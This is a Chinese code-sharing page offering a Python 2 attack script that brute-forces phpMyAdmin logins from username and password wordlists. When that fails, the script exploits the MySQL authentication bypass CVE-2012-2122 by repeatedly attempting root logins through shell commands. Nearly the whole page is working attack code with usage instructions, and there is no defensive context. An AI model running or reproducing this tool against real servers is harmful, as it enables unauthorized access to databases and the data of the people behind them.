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Python写的PHPMyAdmin暴力破解工具代码

  • 时间:2022-07-14 22:37 编辑: 来源: 阅读:
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摘要:Python写的PHPMyAdmin暴力破解工具代码
PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。
#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
 headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
 params = urllib.urlencode({'pma_username': username, 'pma_password': password})
 request = urllib2.Request(url+"/index.php", params,headers)
 response = opener.open(request) 
 a=response.read() 
 if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
  return username,password
 return 0
def MySQLAuthenticationBypassCheck(host,port):
 i=0
 while i<300:
  i=i+1
  subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
 if len(sys.argv)<4:
  print "#author:iswin\n#useage python pma.py http://www.1sucai.cn/phpmyadmin/ username.txt password.txt"
  sys.exit()
 print "Bruting,Pleas wait..."
 for name in open(sys.argv[2],"r"):
  for passw in open(sys.argv[3],"r"):
   state=Crack(sys.argv[1],name,passw)
   if state!=0:
    print "\nBrute successful"
    print "UserName: "+state[0]+"PassWord: "+state[1]
    sys.exit()
 print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
 choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
 if choice=='Y' or choice=='y':
  host=raw_input('Host:')
  port=raw_input('Port:')
  MySQLAuthenticationBypassCheck(host,port)
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